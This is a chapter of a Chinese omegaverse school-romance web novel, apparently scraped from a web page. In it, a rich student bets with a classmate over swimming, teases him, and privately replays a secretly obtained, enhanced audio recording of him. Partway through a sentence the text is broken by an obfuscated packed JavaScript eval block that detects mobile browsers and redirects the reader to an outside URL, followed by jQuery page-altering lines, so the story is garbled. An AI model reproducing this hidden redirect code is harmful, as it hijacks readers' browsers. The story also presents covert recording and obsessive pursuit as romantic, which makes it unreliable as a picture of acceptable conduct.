邬南在出发点抢发领先了半个身位,但到最后一圈落后了边越泽有一半。
他知道自己和边越泽体力悬殊,也没存心想争个输赢,往上推了泳镜,抬眼看他,微微喘息着,道:“你赢了。”
边越泽站在岸边,麦色身体修长结实,块垒分明的腹肌之间滚落着水珠,笑了下:“赢你一次不容易。”
又俯了身,伸出隆着青筋的手,要拉邬南起来。
邬南径直无视了,在池边上用两只手臂一撑,破开水面,利落地翻身上岸。
透明的泳池馆顶层显出外面的天色,落日时分,晚霞烂漫,时间已经有些晚了。
邬南走得有点快,边越泽个高腿长,三步并两步从后追上来,和他并肩同行,偏脸打量着他的神色,问:“生气了?”
“不至于,一次游泳而已。”邬南平心静气道,“但我不喜欢你用我的朋友威胁我的方式,让我觉得很没劲。”
他只是这么一说,没想得到什么回应,哪想到边越泽却干脆直接地道了歉:“行,这次是我不对,下次不会了。”
邬南讶异地看他一眼。
边越泽却笑起来:“怎么这副表情,不相信我?”
邬南道:“没想到你听得懂人话。”
边越泽啧一声:“这话说的,换个人可能我就按他脑袋踢一边去了。”
他的视线来回扫过邬南的眉眼和颈后,语气也有几分散漫:“看在你刚输给我的份上,原谅你了。”
邬南感觉到了边越泽在打量自己的目光,不知道他又开始抽什么疯,也懒得再继续对话,加快了脚步,很快进了换衣间。
边越泽的脚步停下,视线定格在门上Beta专用的标志,眸光闪了闪。
邬南简单冲了个澡,换好自己的衣服,从游泳馆出来,没想到边越泽还等在外面。
边越泽单肩背着包,低头玩着手机,耳侧挂一只黑色的有线耳机,像是在听音乐。
等看见了他,随手收起了耳机,眉宇舒展,心情好像很好:“走吧。”
邬南问:“你怎么还没走?”
边越泽挑眉道:“赢了心情好,想多看看手下败将丧气的脸,不行?”
邬南有点无语:“……幼稚。”
橘红色的恢弘霞光落了一地,迎面有风吹来,拂走空气里残余的燥热,远处的小树林里有鸟雀归巢,叽喳声传来。
一场比赛下来,邬南游累了,神色带上几分倦,没了平时吵架斗嘴、针锋相对的力气,边越泽的脚步懒懒散散,揣着兜,跟在旁边。
气氛是难得的平和。
邬南开口:“你可以换个赌约,我考完试,不会去上后面的游泳课。”
边越泽道:“也行,那我下周找人打篮球,你来给我送水吧。”
邬南的脚步一顿。
边越泽明摆着知道他不情愿,还要故意问:“怎么,不是愿赌服输?”
又慢悠悠地补充:“球赛中间的休息时间来,别太早,也别太晚,我还要小卖部最贵那一档的矿泉水。”
邬南很冷地笑一声:“边大少爷穷得连水都买不起了?”
边越泽装模作样地点头:“是啊,要是那天没人给我送水,我就要渴死了。”
邬南道:“那你还是渴死吧。”
边越泽道:“那不行,我现在是有老婆的人,还不能死。”
邬南正要上台阶,差点被绊摔,震惊地看向边越泽。
边越泽也惊讶问:“怎么,你不知道吗?我以为我找老婆的事全校的人都知道。”
又贴心地道:“哦,我忘了我们邬神一心学习,两耳不闻窗外事,那我特别给你介绍一下——我和我老婆小时候就订了娃娃亲,中间分开了一段时间,最近又认识上了,但她始乱终弃,骗了我感情不肯负责,跑路装不认识我,我正找她呢。”
还道:“不过别误会,我们的感情很好的,她不愿意来找我,肯定有她的苦衷,等和好了,我以后请你来参加我们的订婚啊。”
邬南气得大脑嗡嗡的,握紧了手指。
——边越泽居然仗着没人知道实情,在外面胡言乱语?谁跟他感情好了?订婚又是什么跟什么?
边越泽虚心请教:“对了南南,你和好多Omega玩得好,能不能帮我分析一下,我老婆躲着不肯见我,是什么原因?”
邬南脱口而出:“还能是什么原因?他不喜欢你!”
边越泽道:“那不可能,我们上次约会的时候,我老婆主动亲我了,还缠着我要亲亲,可会撒娇了。”
邬南头晕目眩,实在听不下去,深吸口气:“这种私事你还是说给自己听吧,我不适合知道。”
他别过头,加快脚步往前走。
边越泽站在原地,目送着他的身影,闷闷笑起来。
过了放学的时间点,校门口冷冷清清,有一辆低调奢华的黑色车辆等在外面。
边越泽上了车,前排的司机毕恭毕敬地喊了声边少爷,道:“边董事长和孟夫人乘坐的私人航班今晚凌晨三点落地。”
语气又变得更谨慎了些,低声提醒:“孟夫人知道了学校里发生的事……很生气。”
边越泽不甚在意地嗯了声:“知道了。”
又琢磨了下,问:“到时候你去接他们是吧?”
司机点头:“是的,边少爷。”
边越泽道:“那你帮我问他们一声,还记不记得我小时候自己定的娃娃亲?我找到我老婆了,叫他们做个心理准备。”
还不忘补充:“不是Omega,是Beta,不是女生,是男孩子——记得让我妈别生气了,虽然我成绩不好,但是我老婆成绩特好。”
拥有几十年开车经验的司机满脸震撼,握着方向盘的白手套抖了抖,发出茫然的一句:“……啊?”
车辆开进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401476|200252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了庄园,边越泽大摇大摆地下了车,刚回到自己的卧室,就接到了卫子赫拨来的通话。
那边咋咋呼呼的:“边哥,反正你最近晚上都不睡觉,明天又是周末,过来一起通宵打游戏呗!”
边越泽扔了书包到一边,愉悦道:“不,我今天要早睡。”
卫子赫傻眼:“啊?你不是不想做那个奇奇怪怪的梦,不想给你老婆当狗吗?”
边越泽郑重纠正:“谁说我不想了,这种话以后不要乱说,当心传出去,对我的名声不好。”
卫子赫更加迷茫:“那你周末要请来家里驱邪的大师呢?”
边越泽道:“哦对,还有这事,你不说我都忘了大师明天要来了。”
他挂掉通话,给大师发去消息,让人明天不用过来了,想了想,又问对方是否擅长合八字看姻缘,得到对面的否定回答后,遗憾地往沙发椅上一靠。
边越泽勾起唇角,点开了自己今天游泳馆外等邬南出来时,手机上收到的音频。
被送去专业机构降噪处理过杂音,放大过对话音量的两道声线在房间里回响。
【哥,你怎么会知道这里的密码?】
【我也很想回答你这个问题。】
轻微的电流声呈现一小片空白,而后再次响起对话声,一个虚弱无力,一个沉着冷静。
【哥,我想坐沙发上。】
【别进去,就站在这儿等他们送抑制剂过来,这房间的主人比狗还狗,要是你的信息素沾到了他的沙发上,我们两个都死定了。】
【这么凶啊?哥你认识这个私人包厢的主人?】
【不认识,我猜的。】
特意放大过的少年音色冷淡清晰,似林间淌过的寒溪,撇开关系的语气带着熟悉的冷漠,尾音下压。
边越泽无论听多少遍,听到这里时,总忍不住低声笑起来。
【哥,我是不是又给你添麻烦了?】
【不用喊哥,我和你没关系。】
【哥,你是不是很讨厌我妈,也讨厌我啊?她不是故意的,等知道方宥已经结了婚,她已经结了标记了,反悔不了了……】
【闭嘴,休息。】
过了会儿,又是缓和了语气的一句。
【能走了吗?】
离开的脚步、响起的关门声,代表着这段音频的结束。
边越泽又从头点了开始,听这段音频在自己的耳边回放,微微眯着眼,身体里的血液涌动着,躁热得厉害,被长裤包裹的两腿岔开,伸手扯开了外套,从颈项到耳根漫上一片浓重的赤红,神经过电似的兴奋战栗。
来来回回几句的对话,他却又听得不满意了。
边越泽发了消息,让人又剪去一半,只留下同一声线被录下的声音。
他翻来覆去,把音频听了又听,手指敲着膝盖,薄唇含着笑,很亲昵地喊:“南南……”
——抓住你了。